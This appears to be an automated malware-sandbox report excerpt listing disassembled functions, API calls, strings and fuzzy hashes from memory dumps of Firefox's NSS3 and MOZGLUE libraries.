memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAE2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CAE2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CAE3005
memcpy.VCRUNTIME140(?,?,?), ref: 6CAE30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAE3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CAE3178

Strings

database corruption, xrefs: 6CAE316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAE3022, 6CAE3156, 6CAE3162, 6CAE318A, 6CAE3196, 6CAE31A2, 6CAE31AE, 6CAE31BA, 6CAE31C6
%s at line %d of [%.10s], xrefs: 6CAE3171

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: a4aa5b55e7a5245ff709c7731b9615704ed580b6b28fe97425f69bc0151d7298
Instruction ID: 4e0f6349c8c397bc197577213d6a63b87291a4c673f74cbedc4e8aba2790dc1f
Opcode Fuzzy Hash: a4aa5b55e7a5245ff709c7731b9615704ed580b6b28fe97425f69bc0151d7298
Instruction Fuzzy Hash: 1CB19D70E062159BCF08CF9DC884AAEBBB1BF4C304F24406DE855A7B51E7749991DBA4

Function 6CB46DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CB47D8F,6CB47D8F,?,?), ref: 6CB46DC8

Part of subcall function 6CB9FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CB9FE08
Part of subcall function 6CB9FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CB9FE1D
Part of subcall function 6CB9FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CB9FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CB47D8F,?,?), ref: 6CB46DD5

Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA10F3
Part of subcall function 6CBA10C0: EnterCriticalSection.KERNEL32(?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA110C
Part of subcall function 6CBA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1141
Part of subcall function 6CBA10C0: PR_Unlock.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1182
Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC68FA0,00000000,?,?,?,?,6CB47D8F,?,?), ref: 6CB46DF7

Part of subcall function 6CB9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC718D0,?), ref: 6CB9B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB46E35

Part of subcall function 6CB9FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CB9FE29
Part of subcall function 6CB9FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CB9FE3D
Part of subcall function 6CB9FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CB9FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CB46E4C

Part of subcall function 6CBA10C0: PL_ArenaAllocate.NSS3(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC68FE0,00000000), ref: 6CB46E82

Part of subcall function 6CB46AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CB4B21D,00000000,00000000,6CB4B219,?,6CB46BFB,00000000,?,00000000,00000000,?,?,?,6CB4B21D), ref: 6CB46B01
Part of subcall function 6CB46AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CB46B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB46F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CB46F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC68FE0,00000000), ref: 6CB46F6B
PR_SetError.NSS3(FFFFE005,00000000,6CB47D8F,?,?), ref: 6CB46FE1

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: e89fed215984d82222a1d6eefba13431526ab5366f7e2eca00c7e4854db73add
Instruction ID: e2efb5d0fbda5374f05f8e491e7d311ed9837d5fc75d199db28523b46476192b
Opcode Fuzzy Hash: e89fed215984d82222a1d6eefba13431526ab5366f7e2eca00c7e4854db73add
Instruction Fuzzy Hash: 9971B271D14286AFDB00CF15CD40BAABBA8FF95308F15822AE848D7B11F770E994DB91

Function 6CB80FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB81057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB81085
PK11_GetAllTokens.NSS3 ref: 6CB810B1
free.MOZGLUE(?), ref: 6CB81107
PR_SetError.NSS3(00000000,00000000), ref: 6CB81172
free.MOZGLUE(?), ref: 6CB81182
free.MOZGLUE(?), ref: 6CB811A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CB811C5

Part of subcall function 6CB852C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CB5EAC5,00000001), ref: 6CB852DF
Part of subcall function 6CB852C0: EnterCriticalSection.KERNEL32(?), ref: 6CB852F3
Part of subcall function 6CB852C0: PR_Unlock.NSS3(?), ref: 6CB85358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CB811D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CB811F3

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: c16cf9462394058f853f19c36a6856c2b435b7b176c4a171a55801829e8732b6
Instruction ID: 14f37d5f833c9ef4b2169dca9d9c10b7b61e79b556b5b92fc64dcfdcc8bab312
Opcode Fuzzy Hash: c16cf9462394058f853f19c36a6856c2b435b7b176c4a171a55801829e8732b6
Instruction Fuzzy Hash: 926184B0E023859BEB00DF65DC81BAEB7B5EF04748F184128ED29AB741EB31D945CB52

Function 6CB8ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AE10
EnterCriticalSection.KERNEL32(?,?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CB6D079,00000000,00000001), ref: 6CB8AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AE7F
TlsGetValue.KERNEL32(?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AEF1
free.MOZGLUE(6CB6CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB6CDBB,?), ref: 6CB8AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AF30

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: e4e9aae2e995948ee297287362372b594eb8336c964b08230a3310ae3a1bc789
Instruction ID: fe8d6f8313064ed95f0c5e73e9d6fef89df5108c84b6f68d76ffa00323399991
Opcode Fuzzy Hash: e4e9aae2e995948ee297287362372b594eb8336c964b08230a3310ae3a1bc789
Instruction Fuzzy Hash: D6516EB1A02642EFDB01DF25D884B5AB7B4FF09319F144664E81897A51E731E864CFE2

Function 6CB64CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB6AB7F,?,00000000,?), ref: 6CB64CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CB6AB7F,?,00000000,?), ref: 6CB64CC8
TlsGetValue.KERNEL32(?,6CB6AB7F,?,00000000,?), ref: 6CB64CE0
EnterCriticalSection.KERNEL32(?,?,6CB6AB7F,?,00000000,?), ref: 6CB64CF4
PL_HashTableLookup.NSS3(?,?,?,6CB6AB7F,?,00000000,?), ref: 6CB64D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CB64D10

Part of subcall function 6CBEDD70: TlsGetValue.KERNEL32 ref: 6CBEDD8C
Part of subcall function 6CBEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBEDDB4

PR_Now.NSS3(?,00000000,?), ref: 6CB64D26

Part of subcall function 6CC09DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC50A27), ref: 6CC09DC6
Part of subcall function 6CC09DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC50A27), ref: 6CC09DD1
Part of subcall function 6CC09DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC09DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CB64D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CB64DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CB64E02

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: ffd7263a59f795260f69be5b8e9d8f4dbc1994b5191d1403b8421535cc75710b
Instruction ID: 6caafa09a7d27eba4f5bafbd9052e9729175aaf29e3f11ebaf40cf51f6f6bad9
Opcode Fuzzy Hash: ffd7263a59f795260f69be5b8e9d8f4dbc1994b5191d1403b8421535cc75710b
Instruction Fuzzy Hash: FA41A4B5E006559BEB019F69E854A5A77B8EF06259F044170EC1887B11EB31DD28CBA2

Function 6CA21E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAE784), ref: 6CA21EC1
LeaveCriticalSection.KERNEL32(6CAAE784), ref: 6CA21EE1
EnterCriticalSection.KERNEL32(6CAAE744), ref: 6CA21F38
LeaveCriticalSection.KERNEL32(6CAAE744), ref: 6CA21F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CA21F83
LeaveCriticalSection.KERNEL32(6CAAE784), ref: 6CA21FC0
EnterCriticalSection.KERNEL32(6CAAE784), ref: 6CA21FE2
LeaveCriticalSection.KERNEL32(6CAAE784), ref: 6CA21FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA22019

Strings

MOZ_CRASH(), xrefs: 6CA22000

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 62856542a82282f7efc5e02a386b3a880a75cf87fc94302f015a1b0afa80a933
Instruction ID: 8f6e300bf281d10368661ee6947a0677fcd3e6e22f01c86820a846ab03e82fad
Opcode Fuzzy Hash: 62856542a82282f7efc5e02a386b3a880a75cf87fc94302f015a1b0afa80a933
Instruction Fuzzy Hash: 6B410371B0032B8FDB148FF8D884B6E76B1EF49308F088125EA1597B40D77598968BD1

Function 6CB42E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB42CDA,?,00000000), ref: 6CB42E1E

Part of subcall function 6CB9FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CB49003,?), ref: 6CB9FD91
Part of subcall function 6CB9FD80: PORT_Alloc_Util.NSS3(A4686CBA,?), ref: 6CB9FDA2
Part of subcall function 6CB9FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CBA,?,?), ref: 6CB9FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CB42E33

Part of subcall function 6CB9FD80: free.MOZGLUE(00000000,?,?), ref: 6CB9FDD1

TlsGetValue.KERNEL32 ref: 6CB42E4E
EnterCriticalSection.KERNEL32(?), ref: 6CB42E5E
PL_HashTableLookup.NSS3(?), ref: 6CB42E71
PL_HashTableRemove.NSS3(?), ref: 6CB42E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CB42E96
PR_Unlock.NSS3 ref: 6CB42EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB42EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB42EC5

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: dabea26e14fddc240c0a7419fd53f5c2f7009405c49d58b547b84f0ecd097c81
Instruction ID: 5008a6d82350a6de5f8793f6eb104aed9cbbef1b29e0160ba384dcebca0a4057
Opcode Fuzzy Hash: dabea26e14fddc240c0a7419fd53f5c2f7009405c49d58b547b84f0ecd097c81
Instruction Fuzzy Hash: B221D376A40151A7EF111BAAAD0DE9F3B74EB52359F044030ED1CC7711FB32C559E6A2

Function 6CACCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CACB999), ref: 6CACCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CACB999), ref: 6CACD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CACB999), ref: 6CACD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CACB999), ref: 6CC1972B

Strings

database corruption, xrefs: 6CACCFE7, 6CACD013, 6CACD028, 6CACD039, 6CACD03E, 6CC19786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CACCFDD, 6CACD00E, 6CACD022, 6CACD033, 6CC19780
%s at line %d of [%.10s], xrefs: 6CACCFEC, 6CACD018, 6CACD029, 6CACD03F, 6CC1978B

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 3616a4a9aa307e4553a428e1699e6c18f9f764a831aed8bd03e97706790a540f
Instruction ID: c7c4d955470973802e253e1a047d3f064b97b8cc5b22777957b6a5e13c3d7120
Opcode Fuzzy Hash: 3616a4a9aa307e4553a428e1699e6c18f9f764a831aed8bd03e97706790a540f
Instruction Fuzzy Hash: AA610771A042108BD310CF2AC840BA7B7F5EF95318F2845ADE4599BB42E376D987C7E1

Function 6CA37E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA37EA7
malloc.MOZGLUE(00000001), ref: 6CA37EB3

Part of subcall function 6CA3CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CA3CB49
Part of subcall function 6CA3CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CA3CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CA37EC4
mozalloc_abort.MOZGLUE(?), ref: 6CA37F19
malloc.MOZGLUE(?), ref: 6CA37F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA37F4D

Strings

d, xrefs: 6CA37F89

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 72e9b93adff0ac98fa135bec956bd493bdee3e8fc3224823a5d6cc0b7d1d4e8c
Instruction ID: 37478543010e9f466b55a04654fc6af6fccde2cc8fb080bd638bc44054a183f8
Opcode Fuzzy Hash: 72e9b93adff0ac98fa135bec956bd493bdee3e8fc3224823a5d6cc0b7d1d4e8c
Instruction Fuzzy Hash: 90312571E0035997DB009F68DD159FEB778EF96208F449728EC499B612FB30A5C9C391

Function 6CB8CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CB8CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CB8CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CB8D079

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 004d168a8d2f7784abb0593b2f07e364b13cbe3f2c6b7300ec3369fd7bf18315
Instruction ID: 648193d7ab72411418c583f992780d04206561a2dc7816f4de55c435568ecd85
Opcode Fuzzy Hash: 004d168a8d2f7784abb0593b2f07e364b13cbe3f2c6b7300ec3369fd7bf18315
Instruction Fuzzy Hash: 63C19EB1A012599BDB10CF24DC80BDAB7B8FF48308F1442A9E948A7741E775EE95CF91

Function 6CA33E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CA33EEE
RtlFreeHeap.NTDLL ref: 6CA33FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CA34006
RtlFreeHeap.NTDLL ref: 6CA340A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA33CCC), ref: 6CA340AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA33CCC), ref: 6CA340C2
RtlFreeHeap.NTDLL ref: 6CA34134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CA33CCC), ref: 6CA34143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CA33CCC), ref: 6CA34157

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 5b1c3429ef377a30bdc67d3c101b0f2b475f780bd932aed34ebed274a5be2e8f
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 87A1AEB1A00225CFDB40CF28C990659BBF5FF49308F695199D909EF712D736E886CBA0

Function 6CA79D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA78273), ref: 6CA79D65
free.MOZGLUE(6CA78273,?), ref: 6CA79D7C
free.MOZGLUE(?,?), ref: 6CA79D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA79E0F
free.MOZGLUE(6CA7946B,?,?), ref: 6CA79E24
free.MOZGLUE(?,?,?), ref: 6CA79E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA79EC8
free.MOZGLUE(6CA7946B,?,?,?), ref: 6CA79EDF
